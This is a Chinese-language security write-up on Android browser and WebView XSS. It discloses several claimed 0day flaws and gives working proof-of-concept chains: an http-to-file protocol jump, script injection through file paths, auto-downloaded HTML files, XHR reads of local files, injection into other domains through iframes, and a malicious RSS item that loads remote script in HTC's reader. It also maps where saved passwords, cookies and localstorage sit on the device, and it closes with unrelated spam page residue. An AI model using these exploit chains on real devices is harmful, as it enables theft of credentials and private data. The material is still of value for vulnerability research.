<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            Android應用安全之android平臺上的xss攻擊

            by SuperHei_at_www.80vul.com
            
            
            一、前言
            
            在智能手機和移動互聯網高速發展的今天,移動設備上的安全也成為了安全研究領域的熱
            門。“平民化的東西,才是最有前途的”,andriod平臺的開放性及廉價門檻低等特點,直接
            造就了“平民”的特色,“平民化的才是大眾的”,所以這個特點也導致了android平臺上的
            各種各樣的惡意應用的泛濫,目前很多的安全廠商和安全人員都在忙碌于各種惡意apk的分析
            上,而對其他的應用層上的安全問題研究甚少,而本文就是比較全面的分析了android平臺上
            的xss漏洞的發現及利用...
            
            二、瀏覽器里的跨域
            
            1、android平臺上的瀏覽器
            
            在android上的瀏覽器可以分為2類:
              i、基于android自身集成的webkit上的瀏覽器。如:android自己瀏覽器     
                 (com.android.browser),海豚、qq、遨游等。
              ii、傳統瀏覽器廠家的移動版瀏覽器。如firlefox、opera等。
            
            這里要強調的是,在于應用層我們看到的瀏覽器本質都是一個apk,所以對于漏洞的利用方式
            其實是有很多的共同點的。
            
            2、尋找瀏覽器的跨域漏洞
            
            對于PC平臺上的經驗來看,瀏覽器的跨域漏洞主要表現為2種類型:
              i、http協議之間的跨域。主要體現在不利用應用程序xss漏洞的情況下,利用瀏覽器本身
                 處理javascript方面的漏洞實現跨站之間的數據讀取等。
              ii、通過http協議跨其他瀏覽器的偽協議。如http://-->file:// http://-->about:等瀏
                 覽器支持的偽協議。對于這類漏洞存在有2個必要條件:
                 a、http://可以調用目標偽協議[如http://調用file://在很多瀏覽器是被禁止或者受
                    限制的]
                 b、目標協議可以執行你注入的javasript[如實現協議本身的存在xss漏洞,或者對于 
                    file://來說我們可以寫入任意html文件到本地然后調用]
            
            本文提到的主要是對于ii來說的,在webzine第五期的文章《走向本地的邪惡之路》里對攻擊
            流程有這樣的描敘:
            
            “外網通過iframe等標簽-->本地存在xss漏洞的文件-->執行payload” 
            
            對于android平臺上的瀏覽器跨域也是一樣的,下面的一系列漏洞主要也是按照這個路徑而進
            行的。
            
            那么我們先看看android上各大瀏覽器的偽協議,對于android上應用程序apk注冊偽協議的方
            法主要是在AndroidManifest.xml里設置<data scheme="協議"></data>就可以了,如果需要
            得到瀏覽器支持,也就是在html里調用就必須設置 
            <category android:name="android.intent.category.BROWSABLE" /> 那么對于這些協議名
            的獲取我們只要分析AndroidManifest.xml就可以得到了,至于這些協議的實現是不是存在這
            xss漏洞那就需要進一步分析測試了,所以這個方式就缺少通用性。
            
            對file://來說,在android平臺上的瀏覽器來說都是禁止在http://的頁面里直接調用的。
            
            另外還有一個很關鍵的問題需要確定:隨著安全的發展,也可能看到了IE的“前車之鑒”,
            所以很多的瀏覽器都開始注意本地html的安全防御了,也就是說如果瀏覽器本地安全到位,
            那么即使你擁有在file://下執行js的能力,也不能實現最終攻擊的目的。firefox及opera等
            瀏覽器來說,他們有安全的基礎,所以移動版本也一樣對于本地html文件的安全防御是下了
            功夫的[具體的請自行測試:)],不過幸運的是,本文的主角android-webkit對于本地html的
            安全防御是非常薄弱的,本地的html文件可以任意跨域,這個也就是本文基石。
            
            [0day-NO.0]、android-webkit本地跨域漏洞:
            
            android-webkit在通過file://訪問本地的html文件時,沒有任何的同源策略限制,可以通過
            xhr等任意獲取本地有讀取權限的文件及http域網頁的內容。POC如下:
            
            <script>
            var request = false;
                    if(window.XMLHttpRequest) {
                        request = new XMLHttpRequest();
                        if(request.overrideMimeType) {
                            request.overrideMimeType('text/xml');
                        }
                    } else if(window.ActiveXObject) {
                        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 
                        'Microsoft.XMLHTTP', 
                        'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 
                        'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
                        for(var i=0; i<versions.length; i++) {
                            try {
                                request = new ActiveXObject(versions[i]);
                            } catch(e) {}
                        }
                    }
                    
            xmlhttp=request;
            
            //獲取本地文件代碼
            //xmlhttp.open("GET", "file://///default.prop", false);
            //獲取http網頁代碼
            //xmlhttp.open("GET", "http://www.80vul.com/", false);
            xmlhttp.send(null);
            var ret = xmlhttp.responseText;
            
            alert(ret);
            </script>
            
            
            [ps:這個缺少chrome團隊那些猥瑣流大牛的參與有一定的關系?!(android瀏覽器和chrome目
            前好像還是2個獨立的團隊)] 
            
            OK! 一切按照原計劃進行...
            
            3、android-webkit的0days
            
            我們根據上面提到的攻擊流程走,所以我們的首要任務就需要跨越file://。
            
            [0day-NO.1]、android-webkit跨協議漏洞:
            
            android-webkit在處理轉跳時存在漏洞,導致允許從http協議跨越其他的協議如file://協
            議,實現跨域漏洞。POC如下:
            
            <iframe name=f src="location.php" ></iframe>
            <script>
            function init(){ 
              f.location = "file:///default.prop"; 
            } 
            setTimeout(init,5000) 
            </script> 
            
            location.php代碼如下:
            <?php
            header("Location:file:///80vul.com");
            ?>
            
            上面的代碼完美實現了從http://到file://的跨越[android 4.0上已經不存在這個漏洞了]。
            我們繼續接著流程走,下一步需要的所尋找可以注入任意javascript的“本地之門”了。
            
            [0day-NO.2]、android-webkit的file://協議xss漏洞:
            
            android-webkit在實現file://打開不存在的文件給出的提示對文件路徑缺少過濾導致xss漏
            洞。POC如下:
            
            地址訪問 file:///80vul.com/<script>alert(1);</script> 
            
            我們插入代碼<script>alert(1);</script>將被執行。不過這個漏洞只存在于: 
            1.6<android<4.0 ,并且本身就有一個彈框提示,所以并不完美,我們繼續...
            
            [0day-NO.3]、android-browser和firefox自動下載文件漏洞:
            
            adroid系統自帶的瀏覽器com.android.browser在處理Content-Disposition: attachment的
            時候,UI設計存在漏洞,導致可以自動下載文件到固定的本地目錄。POC如下:
            
            
            <? 
            //autodown.php
            
            header("Content-Disposition: attachment:filename=autodown.htm"); 
            $data=<<<android_xss_go
            <script>alert(/xss/);</script>
            android_xss_go;
            print $data;
            ?>
            
            在上面的代碼在不同的版本的android系統上是不一樣的: android 1.x 自動下載保存文件名為:/sdcard/download/autodown.html android 2.x-3.x 自動下載保存文件名為:/sdcard/download/autodown.htm android 4.0 自動下載保存文件名為:/sdcard/download/autodown.php firefox 自動下載保存文件名為:/sdcard/download/autodown.php 上面的測試結果來看,路徑和文件名都是相對固定的,并且html/htm/php后綴都是可以被解 析(渲染)的。對于其他的基于android-webkit的外殼瀏覽器,如:android自己瀏覽器 (com.android.browser),海豚、qq、遨游等都在UI設計上有所加強,對于下載文件都有提示 保存。 OK,攻擊流程里的2個步驟條件都已經滿足了,最后給出我們的POC:
            POC[1]:
            //[0day-NO.1]+[0day-NO.2]
            <iframe name=f src="location.php" ></iframe> 
            <script> 
            function init(){ 
              f.location = "file:///ssss<sc"+"ript>alert(1);</sc"+"ript>/";
            } 
            setTimeout(init,5000) 
            </script> 
            
            POC[2]:
            //[0day-NO.1]+[0day-NO.3]
            
            <meta http-equiv=“refresh” content=“0;URL=autodown.php”/>
            <iframe name=f src=”location.php“></iframe>
            <script>
            function init(){ 
              f.location = "file:///sdcard/Download/autodown.htm"; 
            } 
            setTimeout(init,5000) 
            </script>
            
            萬事具備,只切欠payload ... 4、不僅僅是彈框 通過上面的一系列0days跨越file://后,可以自由的彈JJ了,如果你不是一個單純的BT,應 該可以思考一下:“我還可以做點啥子邪惡的事情呢?” ... i、跨越任意http 最基本的利用,我們又從file殺回http了!!只是這個http已經不在是你那蹩腳的.cn的域名 了,我們可以去其他的http瀟灑了,去80vul.com怎么樣? 請出PZ牛寫的經典code: //payload.js function inject(){ var d = document.getElementById("hi").contentDocument || document.getElementById("hi").contentWindow.document var x = d.createElement("SCRIPT"); x.src ="x.js"; //在目標域調用的js x.defer = true; d.getElementsByTagName("HEAD")[0].appendChild(x); } document.write("<iframe id=hi src=http://www.80vul.com onload=inject()></iframe>") //x.js alert(document.domain); 調用如下代碼后,就可以在www.80vul.com域里執行js代碼:alert(document.domain);了 ... ii、跨越market.android.com實現自動下載安裝惡意apk 其實這個方式就是上面i里的一個特例子,因為在market.android.com域里可以直接通過js實 現在手機上自動下載安裝惡意apk。這個方法最早又大牛jonoberheide提出,詳 見《How I Almost Won Pwn2Own via XSS》[1] 這個方法目前還是可用的,在我寫的《Android應用安全之開發環境帶來的危險》一文里也有 應用。具體實現codz,可以參考《Android應用安全之開發環境帶來的危險》一文。 iii、挖掘本地文件 上面跨http方式對于目前手機系統來說有個致命的弱點:為了彌補在顯示和操作方面的先天 不足,廣泛采用apk機制,也就是說把各大sns應用都開發自己的手機客服端應用,這個方式 直接扼殺了瀏覽器跨域漏洞跨單純http協議之間上利用價值。所以我們有必要挖掘一下其他 方向的利用!! 現在我們處于file://域下,在webkit里我們完全可以通過xmlhttp來讀取本 地文件來獲取多我們有用的信息,下面要做的就是看我們對那些文件有讀取的權限。 在這之前,我們先要了解一下android的安全機制:“Android 是一個權限分離的系統。這是 利用 Linux 已有的權限管理機制,通過為每一個Application分配不同的 uid 和 gid,從而 使得不同的 Application 之間的私有數據和訪問( native 以及 java 層通過這種 sandbox 機制,都可以)達到隔離的目的。” 對于android上的瀏覽器來說,一個瀏覽器就是一個Application,對于系統來說分配給這個 瀏覽器一個uid。這個可以說明2個問題: * 對應用程序的owner數據文件有讀取權限 * 對系統里設置了other可讀的文件有讀取權限 下面我們找找這些文件里都有些什么有價值的信息: a、尋找owner的數據文件 我們以com.android.browser為例子。 先去/data/data/com.android.browser目錄的屬性: # ls -l /data/data/ ls -l /data/data/ drwxr-x--x app_20 app_20 2011-09-10 12:12 com.android.browser drwxr-x--x app_0 app_0 2011-09-26 04:15 com.android.providers.downloads drwxr-x--x app_7 app_7 2011-09-10 12:03 com.android.wallpaper.livepicker drwxr-x--x app_8 app_8 2011-09-10 12:03 com.android.fallback ..... # ls -l /data/data/com.android.browser ls -l /data/data/com.android.browser drwxrwx--x app_20 app_20 2011-09-10 12:12 app_thumbnails drwxrwx--x app_20 app_20 2011-09-10 12:12 app_databases drwxrwx--x app_20 app_20 2011-09-10 12:12 app_appcache drwxrwx--x app_20 app_20 2011-10-04 04:25 cache drwxrwx--x app_20 app_20 2011-10-28 10:05 shared_prefs drwxr-xr-x system system 2011-09-10 12:03 lib drwxrwx--x app_20 app_20 2011-09-26 04:05 app_geolocation drwxrwx--x app_20 app_20 2011-11-16 13:53 app_icons drwxrwx--x app_20 app_20 2011-11-16 14:12 databases # cd /data/data/com.android.browser cd /data/data/com.android.browser # ls -l databases ls -l databases -rw-r--r-- app_20 app_20 512 2011-11-16 14:28 webviewCache.db-journal -rw-rw---- app_20 app_20 19456 2011-11-16 13:54 webview.db -rw-rw---- app_20 app_20 17408 2011-11-16 13:53 browser.db -rw-rw---- app_20 app_20 113664 2011-11-16 13:55 webviewCache.db # ls -l app_databases/localstorage ls -l app_databases/localstorage -rw-r--r-- app_20 app_20 4096 2011-10-05 11:38 http_phpforandroid.net_0.localstorage -rw-r--r-- app_20 app_20 17408 2011-10-11 12:30 http_www.google.cn_0.localstorage -rw-r--r-- app_20 app_20 4096 2011-10-05 11:58 http_mediacdn.disqus.com_0.localstorage -rw-r--r-- app_20 app_20 1191936 2011-11-16 13:54 http_www.google.com_0.localstorage # ls -l app_geolocation ls -l app_geolocation -rw-rw---- app_20 app_20 3072 2011-09-26 04:05 CachedGeoposition.db 看看這些數據庫里都有些啥子東西呢? # sqlite3 webview.db sqlite3 webview.db SQLite version 3.6.22 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> .tables .tables android_metadata formdata httpauth cookies formurl password # sqlite3 browser.db sqlite3 browser.db SQLite version 3.6.22 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> .tables .tables android_metadata bookmarks searches 包括保存的密碼、cookie、訪問url、bookemarks 甚至還有localstorage和地址信息等。 b、尋找other可讀的文件 不一樣的系統rom可能結果會不一樣,我們可以用腳本簡單實現一個scan,我這里用的 android-php:http://phpforandroid.net/,然后我們需要用有root的adb shell : # /data/data/com.irontec.phpforandroid/files/php/bin/php /mnt/sdcard/sl4a/scripts/find.php "/data/" /data/data/com.irontec.phpforandroid/files/php/bin/php /mnt/sdcard/sl4a/scripts/find.php "/data/" FIX ME! implement getprotobyname() bionic/libc/bionic/stubs.c:378 FIX ME! implement getprotobyname() bionic/libc/bionic/stubs.c:378 /data/anr/traces.txt ... /data/data/com.android.browser/app_databases/localstorage/http_www.google.cn_0.localstorage /data/data/com.android.browser/app_databases/localstorage/http_mediacdn.disqus.com_0.localstorage /data/data/com.android.browser/app_databases/localstorage/http_www.google.com_0.localstorage /data/data/com.android.browser/app_databases/localstorage/http_phpforandroid.net_0.localstorage /data/data/com.android.browser/app_databases/localstorage/http_t.qq.com_0.localstorage ... /data/data/com.android.music/shared_prefs/Music.xml /data/data/jp.co.omronsoft.openwnn/writableJAJP.dic /data/data/jp.co.omronsoft.openwnn/writableEN.dic /data/system/packages.list /data/system/packages.xml /data/system/uiderrors.txt 上面的結果我處理掉了一些.apk .dex .so文件。沒想到的是com.android.browser的 localstorage文件是other可讀的!! /data/system/packages.list /data/system/packages.xml 可以得到目標系統安裝哪些應用及應用的配置(如權限)等,在 /data/system/uiderrors.txt還可以得到一些錯誤的信息等等。如何我們繼續會發現一些可 以讀文件;包括: /ueventd.rc /ueventd.goldfish.rc /init.rc /init.goldfish.rc /default.prop /system/build.prop /system/etc/目錄下的一些配置文件 在我們跑腳本的過程里你會發現2個讓你的腳本死循環的目錄/sys/及/proc/,這個本來就是 linux下的虛擬文件系統,由于各種掛載導致腳本死循環,但在這2個目錄我們可以得到手機 系統很多信息。如: # ls -l /proc/ ls -l /proc/ dr-xr-xr-x root root 2011-11-17 09:35 binder -r--r--r-- root root 0 2011-11-17 09:35 mtd --w--w---- root system 0 2011-11-17 09:35 sysrq-trigger -r--r--r-- root root 0 2011-11-17 09:35 partitions -r--r--r-- root root 0 2011-11-17 09:35 diskstats -r--r--r-- root root 0 2011-11-17 09:35 crypto -r--r--r-- root root 0 2011-11-17 09:35 yaffs -r-------- root root 0 2011-11-17 09:35 kpageflags -r-------- root root 0 2011-11-17 09:35 kpagecount -r--r----- root system 0 2011-11-17 09:35 kmsg -r--r--r-- root root 0 2011-11-17 09:35 version -r--r--r-- root root 0 2011-11-17 09:35 uptime -r--r--r-- root root 0 2011-11-17 09:35 stat -r--r--r-- root root 0 2011-11-17 09:35 meminfo -r--r--r-- root root 0 2011-11-17 09:35 loadavg -r--r--r-- root root 0 2011-11-17 09:35 interrupts -r--r--r-- root root 0 2011-11-17 09:35 devices -r--r--r-- root root 0 2011-11-17 09:35 cpuinfo -r--r----- root radio 0 2011-11-17 09:35 cmdline -r--r--r-- root root 0 2011-11-17 09:35 locks -r--r--r-- root root 0 2011-11-17 09:35 filesystems -rw-r--r-- root root 0 2011-11-17 09:35 slabinfo -r--r--r-- root root 0 2011-11-17 09:35 swaps -r--r----- root log 0 2011-11-17 09:35 vmallocinfo -r--r--r-- root root 0 2011-11-17 09:35 zoneinfo -r--r--r-- root root 0 2011-11-17 09:35 vmstat -r--r--r-- root root 0 2011-11-17 09:35 pagetypeinfo -r--r--r-- root root 0 2011-11-17 09:35 buddyinfo -r--r--r-- root root 7087 2011-11-17 09:35 config.gz -r--r--r-- root root 0 2011-11-17 09:35 kallsyms -rw-r--r-- root root 0 2011-11-17 09:35 timer_list -r--r--r-- root root 0 2011-11-17 09:35 iomem -r--r--r-- root root 0 2011-11-17 09:35 ioports -r--r--r-- root root 0 2011-11-17 09:35 execdomains -r--r--r-- root root 0 2011-11-17 09:35 schedstat -r--r--r-- root root 0 2011-11-17 09:35 sched_debug dr-xr-xr-x root root 2011-11-17 09:35 cpu -r--r--r-- root root 0 2011-11-17 09:35 misc -r--r--r-- root root 0 2011-11-17 09:35 fb -r--r--r-- root root 0 2011-11-17 09:35 wakelocks dr-xr-xr-x root root 2011-11-17 09:35 irq -r--r--r-- root root 0 2011-11-17 09:35 cgroups dr-xr-xr-x root root 2011-11-17 08:17 sys dr-xr-xr-x root root 2011-11-17 09:35 bus dr-xr-xr-x root root 2011-11-17 09:35 tty dr-xr-xr-x root root 2011-11-17 09:35 driver dr-xr-xr-x root root 2011-11-17 09:35 fs dr-xr-xr-x root root 2011-11-17 09:35 sysvipc lrwxrwxrwx root root 2011-11-17 09:35 net -> self/net lrwxrwxrwx root root 2011-11-17 09:35 mounts -> self/mounts lrwxrwxrwx root root 2011-11-17 08:17 self -> 2223 dr-xr-xr-x root root 2011-11-17 08:17 1 dr-xr-xr-x root root 2011-11-17 08:17 2 dr-xr-xr-x root root 2011-11-17 08:17 3 dr-xr-xr-x root root 2011-11-17 08:17 4 .... 得到有用的系統/內核信息 如: /proc/cpuinfo - CPU 的信息 (型號, 家族, 緩存大小等) /proc/meminfo - 物理內存、交換空間等的信息 /proc/mounts - 已加載的文件系統的列表 /proc/devices - 可用設備的列表 /proc/filesystems - 被支持的文件系統 /proc/version - 內核版本 /proc/cmdline - 系統啟動時輸入的內核命令行參數 ..... 得到有關運行中的進程的信息 如: # ls -l /proc/1 ls -l /proc/1 dr-xr-xr-x root root 2011-11-17 09:38 task dr-x------ root root 2011-11-17 09:38 fd dr-x------ root root 2011-11-17 09:38 fdinfo dr-xr-xr-x root root 2011-11-17 09:38 net -r-------- root root 0 2011-11-17 09:38 environ -r-------- root root 0 2011-11-17 09:38 auxv -r--r--r-- root root 0 2011-11-17 09:38 status -r-------- root root 0 2011-11-17 09:38 personality -r-------- root root 0 2011-11-17 09:38 limits -rw-r--r-- root root 0 2011-11-17 09:38 sched -r--r--r-- root root 0 2011-11-17 08:17 cmdline -r--r--r-- root root 0 2011-11-17 08:17 stat -r--r--r-- root root 0 2011-11-17 09:38 statm -r--r--r-- root root 0 2011-11-17 08:40 maps -rw------- root root 0 2011-11-17 09:38 mem lrwxrwxrwx root root 2011-11-17 09:38 cwd -> / lrwxrwxrwx root root 2011-11-17 09:38 root -> / lrwxrwxrwx root root 2011-11-17 09:38 exe -> /init -r--r--r-- root root 0 2011-11-17 09:38 mounts -r--r--r-- root root 0 2011-11-17 09:38 mountinfo -r-------- root root 0 2011-11-17 09:38 mountstats --w------- root root 0 2011-11-17 09:38 clear_refs -r--r--r-- root root 0 2011-11-17 09:38 smaps -r-------- root root 0 2011-11-17 09:38 pagemap -r--r--r-- root root 0 2011-11-17 09:38 wchan -r--r--r-- root root 0 2011-11-17 09:38 schedstat -r--r--r-- root root 0 2011-11-17 09:38 cgroup -r--r--r-- root root 0 2011-11-17 09:38 oom_score -rw-r--r-- root root 0 2011-11-17 08:17 oom_adj -rw-r--r-- root root 0 2011-11-17 09:38 coredump_filter # cat /proc/1/maps cat /proc/1/maps 00008000-0001e000 r-xp 00000000 00:01 19 /init 0001e000-0001f000 rwxp 00016000 00:01 19 /init 0001f000-0002d000 rwxp 0001f000 00:00 0 [heap] 40000000-40001000 r-xp 40000000 00:00 0 40001000-40009000 rwxs 00000000 00:0a 198 /dev/__properties__ (deleted) bee20000-bee35000 rw-p befeb000 00:00 0 [stack] 至于這些相信的利用要取決于你對linux系統的理解程度,我基本是個菜鳥,所以后面直接略 過咯 :) c、sdcard權限設置的悲劇 其實在上面“尋找other可讀的文件”時候,好像漏掉了一個目錄,那就所/sdcard/ 其實是 掛載的/mnt/sdcard/,sdcard在手機系統里有這特殊的意義:為了減少系統的壓力,很多的 應用數據文件、還有備用的文件都保存在/sdcard里。所以如果sdcard的文件可讀,那么得到 的信息也是很巨大的。 我們看一下sdcard目錄屬性: ls -l /mnt/ drwxr-xr-x root system 2011-11-17 08:17 obb drwxr-xr-x root system 2011-11-17 08:17 asec drwx------ root root 2011-11-17 08:17 secure d---rwxr-x system sdcard_rw 1970-01-01 00:00 sdcard 雖然是獨立用戶組,但是它是對other可讀的!! 如: # ls -l /sdcard/tencent/ ls -l /sdcard/tencent/ d---rwxr-x system sdcard_rw 2011-08-31 20:56 QQ d---rwxr-x system sdcard_rw 2011-11-09 18:10 MicroMsg d---rwxr-x system sdcard_rw 2011-11-10 07:25 weibo # ls -l /sdcard/tencent/qq ls -l /sdcard/tencent/qq d---rwxr-x system sdcard_rw 2011-10-03 17:15 data d---rwxr-x system sdcard_rw 2011-10-22 18:06 log d---rwxr-x system sdcard_rw 2011-08-27 12:58 Qzone d---rwxr-x system sdcard_rw 2011-08-31 20:56 download # ls -l /sdcard/tencent/qq/data ls -l /sdcard/tencent/qq/data ----rwxr-x system sdcard_rw 8192 2011-10-03 17:15 QQ_database 如果有使用有備用電話的聯系人短信的功能apk話,如果路徑固定,說不定還可以得到這些要 命的東西 :) 三、其他應用程序(apk)里的XSS 瀏覽器本質上其實也就是一個應用程序,只是瀏覽器本身存在的原因就是處理html/js等元 素。上面我們也提到了,由于官方采用的應用程序化的機制,直接削弱了瀏覽器的使用。各 大SNS的網絡都推出了基于apk的應用程序客服端,所以我們研究應用程序里的xss是非常有必 要的... 1、其他apk的html/js處理方式 “有html/js的地方,就有可能有xss漏洞”所以我們首先要找的就是一般是那些情況下引入 html/js,就以往的經驗來看我首先想到的是Html.fromHtml處理字符的方式,不過經過測 試,Html.fromHtml()目前功能還非常弱,支持有限的tag,最主要的是根本不支持js,所以 這個基本就可以放棄了! android應用開發里要引用html/js的方法目前比較常用就的是調用webview控件來實現。對 于webview控件的介紹詳細見官方的手冊:[2] 2、webview控件3種方式與對應的“域” webview控件在load網頁時有3種方式: (1)、webview.loadUrl(url); (2)、webview.loadData(data, "text/html", "utf-8"); (3)、webview.loadDataWithBaseURL(baseUrl, data, "text/html", "utf-8", null); 另外webview默認是不支持js的,要支持js還必須webSetting進行設置:webSetting.setJavaScriptEnabled(true); 我們再看看這3種方式調用的js所在的域: (1)、webview.loadUrl(url); 對于這種方式,js執行的domain取決于url的domain。此時這個webview就相當于一個基于 android-webkit的第三方外殼瀏覽器。那么這個url當然也可以是file://和javascript:等偽 協議。對于這樣的方式存在的xss漏洞,他的威力完全取決于url這個參數。如果在應用程序 里這個url可以控制,那么我們可以直接指定它到file://那么所有的攻擊又回到了瀏覽器里 跨域的利用方式了。當然,當只可以在http://下時上面提到的android-webkit的漏洞都是一 樣的。 (2)、webview.loadData(data, "text/html", "utf-8"); 這種調用方式就相當于在瀏覽器里使用"data:text/html;<html>"偽協議,及時在應用程序里 可以控制第一個參數data導致xss漏洞,那它執行的js的域也是在空白域,如果不使用 webkit的漏洞的話,基本上是沒有太多辦法跨域的。也就是說目前這種類型的xss基本就只有 靠webkit的漏洞的來實現跨域了。 (3)、webview.loadDataWithBaseURL(baseUrl, data, "text/html", "utf-8", null); 相比上面2個函數,這個函數可以控制Url及執行的data。那么這樣的方式導致的xss漏洞,執 行域也取決于baseUrl,這個相比(1)里的url來說,它可以是其他隨意的“域” 如: webview.loadDataWithBaseURL(“aaa”, data, "text/html", "utf-8", null); 那么他執行的js就是在"aaa"域下。對于這樣的方式好像也沒有太多的利用,不過經過我的測 試發現,這個方式可以通過轉跳到任意域包括file://,也就是我們的[0day-NO.4]! 3、[0day-NO.4]、webview.loadDataWithBaseURL()跨協議漏洞 webview.loadDataWithBaseURL()在可以控制第2個參數的情況下,可以通過js轉跳來跨越其 他的協議如file://協議,導致跨域漏洞。DEMO: WebView webview; webview = (WebView) findViewById(R.id.webview); webview.getSettings().setJavaScriptEnabled(true); webview.setWebChromeClient(new WebChromeClient()); String data="80vul<script>window.location='file://///default.prop';</script>"; webview.loadDataWithBaseURL("http://www.baidu.com/", data, "text/html", "utf-8", null); 所以在實際apk通過loadDataWithBaseURL導致的xss的利用還是有希望的,不過實際攻擊的情 況下,你還需要把你的js代碼注入到file://下,[0day-NO.2]及[0day-NO.3]可能是比較好的 選擇,或許還有其他的方法?:) 4、利用 因為一般的SNS的apk應用都是采用網絡api的方式驗證登錄的,所以傳統的得到cookie的方式 基本上沒有什么意義!,對于在http://下跨基本上效果是非常有限的,所以大體上利用如下: a、利用webview.loadUrl在file://下,并且可以注入js的情況下實現file://下的利用。 b、利用webview.loadUrl通過file://調用資源的情況下放置xss“后門”。 c、利用webkit-webkit的漏洞實現跨file://。 d、利用webview.loadDataWithBaseURL()跨協議漏洞來跨file://。 5、一個DEMO [0day-NO.5]、com.htc.googlereader XSS 漏洞 我們發現在HTC自帶的rss閱讀的應用com.htc.googlereader在處理未讀狀態的rss內容里的 <description> tag時可以注入執行任意javascript。POC如下: 設置rss: <item> <guid>http://www.80vul.com</guid> <title>0day-NO.5</title> <link>http://www.80vul.com</link> <description><![CDATA[aa<script src='http://www.80vul.com/xss.js'></script>]]></description> <dc:creator>80vul</dc:creator> <category>anddoid</category> <pubDate>Sun, 04 Sep 2011 13:01:40 -0500</pubDate> </item> 訂閱后,點擊標題后將執行插入的http://www.80vul.com/xss.js,彈出來的窗口信息提示我 們腳本所在“http://”下執行的,很特別,按照上面的分析,導致這個情況的很有可能是 webview.loadDataWithBaseURL(),果斷反編譯看下找到如下代碼: label399: String str = this.mHeadlineShown.getSummary(); if (str.trim().contains("<iframe")) { this.mWebView.loadData(str, "text/html", "utf-8"); break label246; } this.mWebView.loadDataWithBaseURL("http://", str, "text/html", "utf-8", null); break label246; 至于payload我們使用,[0day-NO.4]+[0day-NO.2]來demo一下: xss.js代碼如下: window.location="file:///ssss<script>alert(1);</script>/"; 四、后話 其實本文是用傳統分析方法對android平臺上的瀏覽器跨域及應用apk上的xss漏洞的從發現到 利用過程進行一次比較詳細的剖析。另外本文雖然給出了5個0day,但是要達到實際的攻擊效 果需要各種各樣的組合型攻擊才有效果,這種方式也是目前從系統底層到應用的漏洞利用的 常用方式,尤其表現在各種防御突破上及實現漏洞利用的各種條件上。還有就是本文是我入 手android不足2個月內發現的一些東西,在某些認識及描敘上肯定存在很多錯誤的地方,希 望大家指正!最后要感謝luoluo的指點及提供的各種demo apk。 五、參考 [1]http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/ [2]http://developer.android.com/reference/android/webkit/WebView.html -EOF-
            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线